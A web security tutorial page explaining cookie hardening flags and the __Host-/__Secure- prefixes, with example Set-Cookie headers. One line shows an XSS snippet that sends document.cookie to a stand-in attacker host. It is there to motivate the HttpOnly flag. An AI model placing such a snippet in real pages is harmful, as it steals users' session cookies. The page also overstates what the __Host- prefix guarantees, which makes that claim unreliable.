Cookie Security Architecture
HttpOnly, Secure, SameSite, Domain scoping, and Prefix standards.
HTTP Cookies are the foundation of web session persistence. Securing cookies with proper flags and prefix standards prevents token exfiltration via XSS, man-in-the-middle interception, and cross-site injection.
A session cookie without `HttpOnly` can be stolen with `new Image().src = "evil.com?c=" + document.cookie`. Without `Secure`, credentials transmit in plaintext across open Wi-Fi networks.
Always configure `HttpOnly; Secure; SameSite=Lax`. Utilize modern cookie prefixes `__Host-` and `__Secure-` to lock down domain and path spoofing.
Technical Deep Dive
The Essential Security Flags
- HttpOnlyPrevents client-side scripts from reading document.cookie, mitigating credential theft via XSS.
- SecureEnsures the cookie is only transmitted over encrypted HTTPS connections, preventing network sniffing.
- SameSite=Lax / StrictRestricts cross-site transmission to mitigate CSRF attacks.
- Path=/ & Domain ScopingOmitting the Domain attribute restricts the cookie strictly to the host, preventing subdomain leakage.
The __Host- and __Secure- Cookie Prefixes
Modern browsers enforce rules for special cookie names. Cookies starting with `__Host-` MUST have `Secure`, `Path=/`, and NO `Domain` attribute, preventing any compromised subdomain from overwriting parent cookies.
Interactive Mental Model Simulation
Live VisualizerSent only on top-level safe GET navigations.
Prevents JavaScript reading via document.cookie.
Transmitted only over HTTPS connections.
Code Implementation & Patching
// Insecure Cookie Configuration Set-Cookie: sessionId=xyz123; Path=/; // Insecure: readable via document.cookie, transmitted over plaintext HTTP!
// Robust Cookie Configuration with __Host- Prefix Set-Cookie: __Host-sessionId=xyz123; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=86400;
__Host- prefix guarantees the cookie is encrypted over HTTPS, inaccessible to JavaScript, restricted to the exact domain (no subdomains), and scoped to the root path.
Test Your Knowledge on Cookie Security Architecture
Challenge yourself with realistic scenario questions in the Web Security Arena.